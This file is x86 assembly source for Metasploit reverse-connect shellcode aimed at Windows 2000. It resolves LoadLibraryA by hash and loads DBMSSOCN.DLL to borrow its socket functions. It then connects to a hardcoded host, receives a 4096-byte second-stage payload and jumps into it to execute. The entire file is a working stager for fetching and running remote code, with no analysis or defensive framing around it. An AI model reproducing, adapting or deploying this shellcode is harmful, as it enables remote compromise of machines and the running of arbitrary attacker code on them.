; Title: Windows 2000 Vampiric Import Reverse Connect ; Platforms: Windows 2000 ; Function: Attach to dbmssocn.dll, use IAT to connect, read/exec payload ; Author: hdm[at]metasploit.com ; Compile: nasm -f bin -o win2000_vampiric_connector.bin win2000_vampiric_connector.asm [BITS 32] %define ESIMOD add si, 0x3000 %define DBMSSOCN_WSAStartup [esi + 0x6C] %define DBMSSOCN_connect [esi + 0x4C] %define DBMSSOCN_recv [esi + 0x54] %define DBMSSOCN_send [esi + 0x5C] %define DBMSSOCN_socket [esi + 0x74] ; uncomment this for better error handling and persistent reconnects ; %define NICE global _start _start: LKernel32Base: push byte 0x30 pop ecx mov eax, [fs:ecx] mov eax, [eax + 0x0c] mov esi, [eax + 0x1c] lodsd mov ebp, [eax + 0x08] mov eax, [ebp + 0x3c] mov edx, [ebp + eax + 120] add edx, ebp mov ecx, [edx + 24] mov ebx, [edx + 32] add ebx, ebp LFinderLoop: %ifdef NICE jecxz LNotFound %endif dec ecx mov esi, [ebx + ecx * 4] add esi, ebp xor edi, edi cld LHasher: xor eax, eax lodsb cmp al, ah je short LFound ror edi, 13 add edi, eax jmp short LHasher LFound: cmp edi, 0xec0e4e8e ; LoadLibraryA jnz short LFinderLoop mov ebx, [edx + 36] add ebx, ebp mov cx, [ebx + 2 * ecx] mov ebx, [edx + 28] add ebx, ebp mov eax, [ebx + 4 * ecx] add eax, ebp jmp short LFinderDone %ifdef NICE LNotFound: xor eax, eax %endif LFinderDone: call LoadDBMSSOCN LDataSegment: ;======================== db "DBMSSOCN.DLL" db 0x00, 0xFF ; second byte only added for easy disasm ;======================== LoadDBMSSOCN: call eax ; LoadLibraryA (ptr to dll on stack) mov esi, eax ; esi used by all DBMSSOCN functions ESIMOD ; inc base to save space on the calls xor edi, edi ; edi is just a null LWSAStartup: sub sp, 400 push esp push dword 0x101 call DBMSSOCN_WSAStartup LSocket: push edi push edi push edi push edi inc edi push edi inc edi push edi call DBMSSOCN_socket mov ebx, eax LConnect: push 0xF700A8C0 ; host: 192.168.0.247 push 0x11220002 ; port: 8721 mov ecx, esp push byte 0x10 push ecx push ebx call DBMSSOCN_connect ; set eax to 0 on success %ifdef NICE test eax,eax jnz LConnect xor eax, eax %endif LReadCodeFromSocket: add di, 0xffe ; read 4096 bytes of payload (edi == 2) sub esp, edi mov ebp, esp push eax ; flags push edi ; length push ebp ; buffer push ebx ; socket call DBMSSOCN_recv ; recv(socket, buffer, length, flags) jmp esp ; jump into new payload